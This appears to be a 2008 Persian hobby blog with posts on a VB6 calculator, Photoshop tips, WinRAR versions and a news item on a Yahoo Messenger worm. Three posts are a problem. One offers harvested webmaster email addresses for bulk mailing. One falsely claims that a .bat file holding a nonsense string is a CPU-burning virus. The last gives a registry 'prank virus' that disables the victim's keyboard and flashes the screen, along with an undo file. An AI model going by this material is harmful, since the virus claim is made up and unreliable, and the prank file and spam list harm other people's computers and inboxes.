LearninG

ساخت ماشین حساب

noavaran-gorgan — Sat, 13 Dec 2008 10:03:55 GMT

فرض کنيد بخواهيم يک ماشين حساب ساده، مطابق آنچه در شکل 7 می‌بينيد، طراحی کنيم:

يک Label به نام lblDisplay به عنوان نمايشگر ماشين حساب و با Caption برابر مقدار" 0" (زيرا مقدار اوليه ماشين‌حساب‌ها صفر می باشد) در محل خود قرار می دهيم. همچنين يکCommandButtonبه نام cmdequal به عنوان دکمه مساوی" و با Caption برابر "= " نيز در محل مخصوص خود قرار می دهيم.

حال ده عدد Command Botton ديگر با Caption های به ترتيب برابر " 0" تا "9 " را در جای خود قرار می دهيم و سپس نام همه اين ده دکمه را به نام cmdNumber تغيير می دهيم. در اين صورت همانطور که گفته شد، VB اين ده کنترل را به صورت آرايه کنترلی (Control Array) در نظر خواهد گرفت (به پيغام داده شده با همين مضمون جواب Yes دهيد).

به همين ترتيب چهار CommandButton ديگر را با Captionهای "+ " و "- " و "* " و "/ " و با نام يکسان cmdOprator به عنوان دکمه های چهار عمل اصلی به صورت آرايه کنترلی در محل های خود قرار می دهيم.

حال کافی است در يونيت مربوط به اين فرم، چنين کدنويسی کنيم (توجه داشته باشيد که متغيرهاي x و y و op در سطح فرم (Form Level) تعريف شده اند و لذا مقدار آن در تمام فرم قابل دسترسی خواهد بود) :

Option Explicit

Dim x,y As Integer

Dim op As String

Private Sub cmdNumber_Click (Index As Integer)

IF lblDisplay = “Ø” then lblDisplay = “”

lblDisplay = lblDisplay + cmdNumber(Index).Caption

End Sub

Private Sub cmdOprator_Click (Index As Integer)

x = Val(lblDisplay)

op = cmdOprator(Index).Caption

lblDisplay = “Ø”

End Sub

Private Sub cmdEqual_Click ( )

y = Val (lblDisplay)

Select Case op

Case “+”

lblDisplay = x + y

Case “-”

lblDisplay = x - y

Case “*”

lblDisplay = x * y

Case “/”

lblDisplay = x / y

End Select

End Sub

توجه داريد که:

در رويدادهايی که مربوط به آرايه های کنترلی (يعنی cmd Number و cmdoperator ) است، يک پارامتر به نام Index در آن وجود دارد که شماره Index (انديس) کليدی که فشرده شده را برمی‌گرداند. و لذا مثلاً cmdOprator(Index).Caption برابر "+" خواهد بود، اگر کليد + فشرده شود و برابر "- " خواهد بود، اگر کليد – زده شود و ...
مشخصه (Property) پيش فرض برای Labelها Caption است و لذا هر جا lblDisplay ذکر شده است، توسط VB مانند lblDisplay.Caption در نظر گرفته می شود.
توسط دستور Select Case، يک متغير (که نام آن جلوی دستور Select Case نوشته می شود) با مقادير مختلفی (که جلوی دستورات Case بعدی نوشته می شود) چک می شود که اگر برابر هر يک از اين مقادير بود، دستور پس از همان Case اجرا می شود.

ایمیل وب مسترهای ایرانی

noavaran-gorgan — Fri, 05 Sep 2008 12:23:01 GMT

با سلام اینبار براتون ایمیل وبمستر های ایرانی را آماده کردیم که برای فرستادن ایمیل انبوه دچار مشکل نشوید اگه نظرات بیشتر باشه برنامه فرستادن ایمیل انبوه را هم میزاریم!

دانلود ایمیلها

پری نازـــــــــ

WinRAR and RAR beta versions

noavaran-gorgan — Mon, 25 Aug 2008 16:05:18 GMT

WinRAR 3.80 beta 4	Graphic and command line	Trial	1205 KB
RAR 3.80 beta 4 for Pocket PC	Graphic only	Free	270 KB
RAR 3.80 beta 4 for Linux	Command line only	Trial	773 KB
RAR 3.80 beta 4 for FreeBSD	Command line only	Trial	759 KB
RAR 3.80 beta 4 for Mac OS X	Command line only	Trial	614 KB
RAR 3.80 beta 4 for MS DOS	Command line only	Trial	652 KB
RAR 3.80 beta 4 for Linux x64	Command line only	Trial	802 KB

پری ناز

براش مژه

noavaran-gorgan — Sat, 23 Aug 2008 08:24:18 GMT

دانلود | سرورهای قدرتمند راپیدشیر ، حجم ۱.۵ مگابایت

<<پری ناز>>

آموزش مقدماتی فتوشاپ

noavaran-gorgan — Sat, 02 Aug 2008 14:55:18 GMT

سلام

امروز اموزش مقدماتی فتوشا۱ رو گذاشتم

تغییر رنگ در فتوشاپ

noavaran-gorgan — Thu, 26 Jun 2008 14:48:18 GMT

سلام دوست گلم .

امروز می خوام به شما آموزش بدم که چطور می تونید بوسیله ی برنامه ی ادب فوتوشاپ رنگ چشم و یا هر قسمت دیگر از عکس را تغییر بدید!

برای انجام این کار برنامه ی فوتوشاپ را باز کنید و در قسمت سمت چپ که نوار ابزار وجود داره ابزار Ellipticel Marquee Tool که شکل آن بصورت یک دایره کلیک کنید.

سپس بوسیله ی آن قسمت مورد نظر از عکس را انتخاب کنید. برای زیباتر شدن و طبیعی تر جلوه کردن عکس بهتره کمی آن قسمت را محو(Feather) کنید. برای این کار روی قسمت انتخاب شده راست کلیک کنید و گزینه ی Feather را انتخاب کنید. ودر مستطیل مقداری عدد بدهید( پیشنهاد می کنم عدد مورد نظر از 10 بیشتر نباشد). بعد از انجام این کار مراحل زیر را طی کنید:

از نوار منو منوی Image\ Adjustments\ Variations…

حالا میتونید رنگ مورد نظر را در هریک از گزینه ها Shadows , Midtones و... انتخاب کنید.

درضمن اگر هرنوع سوال دیگری درباره ی فوتوشاپ داشتید می تونید بپرسید و من آموزش آن را در وبلاگ قرار میدم.

pari>>>>>>

برداشتن قرمزیه چشم) Remove red-eye in images)

noavaran-gorgan — Thu, 26 Jun 2008 14:38:18 GMT

سلام دوست عزیز،

قسمت مورد نظر چشم که قرمز شده است را بزرگ(Zoom) می کنیم. سپس ابزار Color Replacement Tool از نوار ابزار انتخاب می کنیم. اندازهی آن را بوسیله ی نوار ابزار بالا در قسمت Brush تعیین می کنیم. سپس رنگ آن را به رنگ چشم در می آوریم.( اگر می خواهید دقیق باشد ابزار Eyedropper Tool را انتخاب و به روی قسمت مورد نظر کلیک کنید). سپس بوسیله ی Color Replacement Tool قرمزیه چشم را رنگ میکنیم.

pari>>>>>>

ویروس ساسرو بلاسر

noavaran-gorgan — Thu, 26 Jun 2008 14:35:18 GMT

سلام دوستان !

الآن بد ترین و آزار دهنده ترین ویرو سی که در دنیا معرفی شده ویروس ساسر و بلاستر است. این ویروس CPU فرد قربانی رو می سوزونه.
من آموزش ساختن این ویروس رو به شما یاد میدم.
روی دسکتاپ راست کلیک کنید.
گزینه new رو انتخاب کنید
text document رو انتخاب کنید
حالا وارد text document خود شوید و در آن تایپ کنید
cpu_567hjkblaster
حالا آنرا با فرمت bat ذخیره کنید. ویروس آماده شد. حالا اگر کسی این ویروس رو بر روی کامپیوتر خودش اجرا کنه CPU کامپیوترش می سوزه
توجه : این ویروس رو بعد از ساختن به هیچ وجه روی سیستم خودتون اجرا نکنید وگرنه CPU تون...!!!!!

pari>>>>>>

ویروس جدید در یاهو

noavaran-gorgan — Mon, 23 Jun 2008 12:36:18 GMT

ویروس جدید نرم افزار پیغام رسان فوری یاهو مسنجر با نام W32/YahLover.worm توانسته است در مدت زمان اندکی از بوجود آمدن تعداد فراوانی از کاربران استفاده کننده از این نرم افزار را آلوده نماید.

به گزارش سایت مک آفی، درجه خطر ویروس W32/YahLover.worm که در خانواده کرم ها (Worm) طبقه بندی شده است کم (Low) می باشد و نخستین بار در تاریخ 9/5/2006 مشاهده شده است.ویژگی و نحوه عملکرد این ویروس به گونه ای است که با نمایش پیامهای گوناگون در قسمت Custom Message Statu آی دی (ID) کاربر آلوده شده از دیگران می خواهد تا بر روی لینک نماش داده شده کلیک نمایند تا بتواند بدین صورت خود را در سیستم کامپیوتر آنها نیز دانلود کند. در صورت انجام چنین کاری فایل آلوده به ویروس، خود را به یکی از فایل های اصلی ویندوز ( %WINDIR%\taskmng.exe ) متصل می کند و سپس از طریق تنظیمات ریجستری گسترش می یابد.علاوه بر آنکه شما می توانید با بررسی فایل های ریجستری خود نسبت به این امر که آیا آلوده شده اید یا خیر پی ببرید در صورت مشاهده ی پنجره ای همانند پنجره ی زیر نیز سیستم شما به این ویروس آلوده شده است.منبع خبر :
ویروس W32/YahLover.worm این قابلیت را دارد تا لیست تمامی دوستان شما در یاهو مسنجر را تشخیص داده و خود را برای آنها ارسال نماید.

در صورتیکه شما از ویروس یاب شرکت مک آفی استفاده می کنید پس از بروز نمودن ویروس یاب خود، یکبار سیستم را بطور کامل اسکن نمایید

توجه: در صورتی که یکی از ادد لیست شما این مشکل رو ندونه و روی یکی از این لینک ها کلیک کند. باعث میشه که لینک اون واسه شما هم ارسال بشه. پس با فرستادن این صفحه برای دوستان خود . آنهارا مطلع کنید

<<<پ>>>

از کار انداختن کیبورد

noavaran-gorgan — Sat, 14 Jun 2008 08:34:18 GMT

مي خواهم ساخت يك ويروس بسيار ساده را به شما آموزش دهم اين ويروس (FLICKER ) بيشتر براي شوخي كردن به كار مي رود و نوع كار كردن اين ويروس به اين صورت است كه پس از اجراي آن و ريسارت كامپيوتر صفحه كليد كامپيوتر از كار مي افتد و در هنگام فشار دادن دكمه هاي صفحه كليد ، صفحه مانيتور روشن و خاموش مي شود. حال روش ساخت : Windows Registry Editor Version 5.00 [HKEY_CURRENT_USERControl PanelAccessibilityKeyboard Response] "Flags"="127" [HKEY_CURRENT_USERControl PanelAccessibilitySoundSentry] "Flags"="3" "WindowsEffect"="3" متن بالا را در يك Notepad وارد كرده و سپس آن را با پسوند Reg سيو كنيد

حال اگر بخواهيد اين ويروس را از كار بيندازيد مي توانيد Windows Registry Editor Version 5.00 [HKEY_CURRENT_USERControl PanelAccessibilityKeyboard Response] "Flags"="126" [HKEY_CURRENT_USERControl PanelAccessibilitySoundSentry] "Flags"="2" "WindowsEffect"="0" متن بالا را در يك Notepad وارد كرده و با پسوند Reg سيو كنيد ( مثلا FlickerOff.Reg ) حال شما مي توانيد اين ويروس را بر كامپيوتر خود امتحان كنيد فقط فراموش نكنيد FlickerON.Reg براي اجراي ويروس و FlickerOff.Reg براي از كار انداختن ويروس مي باشد و همچنين براي از كار انداختن ويروس شما فقط مي توانيد از موس خود استفاده كنيد.

پری